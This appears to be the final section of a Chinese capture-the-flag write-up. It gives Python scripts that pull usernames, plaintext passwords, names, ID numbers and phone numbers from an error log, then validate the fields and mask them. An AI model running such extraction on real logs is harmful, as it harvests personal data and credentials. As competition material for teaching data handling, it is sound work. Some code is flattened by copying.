import reimport jsonimport csvimport osimport urllib.parsedef url_decode(url):    return urllib.parse.unquote_plus(url)# 测试用例with open('error.log', 'r',encoding="utf-8") as f_in:    values=[]    for line in f_in:        match = re.search(r'username=.*', line)        if match:            temp=match.group()            username = re.search(r'username=.*?&', temp).group()[9:-1]            name = re.search(r'&name=.*?&', temp).group()[6:-1]            idcard = re.search(r'&idcard=.*?&', temp).group()[8:-1]            phone = re.search(r'&phone=.*?$', temp).group()[7:]            values=[url_decode(username),"password",url_decode(name),idcard,phone]        pwdmatch = re.search(r'\xe6\x82\xa8\xe7\x9a\x84\xe5\xaf\x86\xe7\xa0\x81\xe4\xb8\xba: .*?\', line)        if pwdmatch:            values[1] = pwdmatch.group()[62:-1]            with open("user.csv", 'a', newline='', encoding="utf-8") as f:                csv_writer = csv.writer(f)                if os.path.getsize("user.csv") == 0:  # 如果csv文件为空,写入标题行                    csv_writer.writerow(["username","password","name","idcard","phone"])                             csv_writer.writerow(values)

对提取出的数据验证格式

import csvimport mathimport redef read_csv_file(file_path):    data = []    with open(file_path, 'r', encoding='utf-8') as file:        reader = csv.reader(file)        for row in reader:            data.append(row)    return datadef is_chinese_char(s):    for c in s:        if not(u'u4e00' <= c <= u'u9fa5'):            return False    return Truedef is_all_number(s):    try:        float(s)        return True    except ValueError:        return Falsedef check_username(s):    return bool(re.match('^[a-zA-Z0-9]+$', s))def check_id_card(id_card):    # 长度和格式校验    if len(id_card) != 18:        return False    W = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]    check = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']    sum = 0  # 前17位累加和    for i in range(0, 17):        sum += int(id_card[i]) * W[i]    if id_card[17] != check[sum % 11]:        return False    return Truedef check_phone(s):    m =[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]    if len(s) != 11 or not is_all_number(s):        return False    if int(s[:3]) not in m:        return False    return True# 读取csv文件,返回一个列表file_path = r'./user.csv'data_list = read_csv_file(file_path)# print(data_list)ans=[]ans1=[['username', 'password','name', 'idcard', 'phone']]for i in data_list:    if i[0] == "username":        ans.append(i)        continue    errnum=0    if not check_username(i[0]):        print("username error!!! : ",i)        errnum+=1    if not is_chinese_char(i[2]):        print("name error!!! : ",i)        errnum+=1    if not check_id_card(i[3]):        print("idcard error!!! : ",i)        errnum+=1    if not check_phone(i[4]):        print("phone error!!! : ",i)        errnum+=1    if errnum!=0:        ans.append(i)    else:        ans1.append(i)with open("结果.csv", "w", newline="",encoding="utf-8") as f:    writer = csv.writer(f)    writer.writerows(ans)with open("ans.csv", "w", newline="",encoding="utf-8") as f:    writer = csv.writer(f)    writer.writerows(ans1)

数据脱敏

import csvimport mathimport reimport hashlibdef read_csv_file(file_path):    data = []    with open(file_path, 'r', encoding='utf-8') as file:        reader = csv.reader(file)        for row in reader:            data.append(row)    return datadef md5(data):    return hashlib.md5(str.encode(data)).hexdigest()# 读取csv文件,返回一个列表file_path = r'./ans.csv'data_list = read_csv_file(file_path)# print(data_list)ans=[]# temp=['username', 'password','name', 'idcard', 'phone']for i in data_list:    temp=['username', 'password','name', 'idcard', 'phone']    if i[0] == "username":        ans.append(i)        continue    if len(i[0]) == 2:        temp[0]=i[0][0]+"*"    else:        temp[0]=i[0][0]+(len(i[0])-2)*'*'+i[0][-1]    temp[1] = md5(i[1])    if len(i[2]) == 2:        temp[2]=i[2][0]+"*"    else:        temp[2]=i[2][0]+(len(i[2])-2)*'*'+i[2][-1]    temp[3] = '*'*6+i[3][6:10]+'*'*8    temp[4] = i[4][:3]+"****"+i[4][-4:]    ans.append(temp)with open("final.csv", "w", newline="",encoding="utf-8") as f:    writer = csv.writer(f)    writer.writerows(ans)

qq群码

UKFC2024 羊城杯WP

原文始发于微信公众号(UKFC安全):UKFC2024 羊城杯WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月10日13:05:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UKFC2024 羊城杯WPhttps://cn-sec.com/archives/3148248.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息